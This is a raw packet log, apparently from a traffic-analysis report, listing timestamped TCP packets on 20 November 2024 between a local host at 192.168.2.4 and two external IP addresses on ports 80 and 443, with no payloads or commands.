Nov 20, 2024 07:48:21.940603971 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940624952 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940638065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940640926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940670967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940679073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940704107 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940711021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940737009 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940742016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940771103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940778017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940803051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940809965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940838099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940841913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940870047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940880060 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940905094 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940906048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940937042 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940943956 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.940970898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.940982103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941005945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941014051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941040993 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941072941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941087008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941107035 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941113949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941138983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941147089 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941175938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941181898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941198111 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.941209078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941219091 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.941232920 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941239119 CET	49755	443	192.168.2.4	4.245.163.56
Nov 20, 2024 07:48:21.941242933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941245079 CET	443	49755	4.245.163.56	192.168.2.4
Nov 20, 2024 07:48:21.941257954 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941276073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941292048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941309929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941323996 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941344023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941350937 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941376925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941390991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941410065 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941416025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941445112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941450119 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941478014 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941488028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941510916 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941518068 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941545010 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941550016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941579103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941586971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941616058 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941617966 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941649914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941653013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941684008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941690922 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941718102 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941751003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941759109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941786051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941802025 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941823006 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941831112 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941859007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941886902 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941893101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941900015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941926956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941962957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941963911 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.941982031 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.941998005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.942004919 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.942030907 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.942051888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.942065001 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:21.942071915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:21.942102909 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026496887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026520014 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026536942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026561022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026597023 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026627064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026653051 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026663065 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026668072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026683092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026690006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026700020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026706934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026714087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026726007 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026738882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026741028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026755095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026760101 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026771069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026773930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026793957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026793957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026809931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026820898 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026834965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026834965 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026853085 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026853085 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026870012 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026870012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026885033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026890039 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026906967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026909113 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026923895 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026925087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026941061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026945114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026961088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026962996 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026977062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.026978970 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.026998043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027012110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027015924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027048111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027050018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027080059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027113914 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027121067 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027146101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027153969 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027182102 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027196884 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027225018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027236938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027266026 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027277946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027349949 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027380943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027386904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027420044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027432919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027472019 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027472973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027509928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027522087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027560949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027575016 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027609110 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027626038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027664900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027677059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027709961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027717113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027749062 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027767897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027800083 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027806044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027833939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027837992 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027867079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027878046 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027899027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027905941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027935982 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.027945995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.027970076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028002977 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028012991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028038025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028044939 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028070927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028076887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028106928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028114080 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028140068 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028146029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028188944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028198957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028233051 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028242111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028299093 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028356075 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028362036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028395891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028440952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028445959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028475046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028507948 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028544903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028578997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028584003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028584003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028594017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028614044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028633118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028644085 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028666973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028695107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028707027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028738976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028743982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028743982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028791904 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028795004 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028829098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028865099 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028865099 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028884888 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028894901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028903008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028932095 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.028949976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028985023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.028994083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029026031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029026985 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029061079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029067993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029094934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029102087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029131889 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029135942 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029165983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029175997 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029201984 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029206991 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029236078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029262066 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029268980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029282093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029304981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029339075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029342890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029372931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029380083 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029407978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029411077 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029442072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029443979 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029478073 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029480934 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029510021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029517889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029546022 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029552937 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029580116 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029586077 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029624939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029629946 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029658079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029663086 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029705048 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029706001 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029738903 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029772997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029778004 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029815912 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029822111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029849052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029855013 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029886007 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029889107 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029918909 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029923916 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029953957 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029957056 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.029988050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.029992104 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030020952 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030025959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030050993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030054092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030086994 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030092955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030121088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030129910 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030152082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030164003 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030186892 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030194998 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030219078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030255079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030258894 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030287027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030293941 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030390024 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030407906 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030424118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030427933 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030457020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030458927 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030489922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030494928 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030524015 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030556917 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030561924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030595064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030596018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030630112 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.030632973 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.030672073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115139008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115192890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115252018 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115267038 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115298986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115309954 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115322113 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115334988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115350008 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115358114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115366936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115375042 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115391016 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115407944 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115451097 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115467072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115480900 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115490913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115506887 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115511894 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115523100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115535975 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115539074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.115550041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.115554094 CET	80	49753	62.204.41.163	192.168.2.4
